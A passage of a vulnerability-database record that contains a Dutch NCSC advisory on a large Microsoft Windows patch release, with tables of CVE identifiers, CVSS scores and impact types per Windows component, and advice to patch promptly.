\n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:39.228859Z"}, {"uuid": "82a5fde5-1690-417d-921b-1b8f884cea4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54991", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van 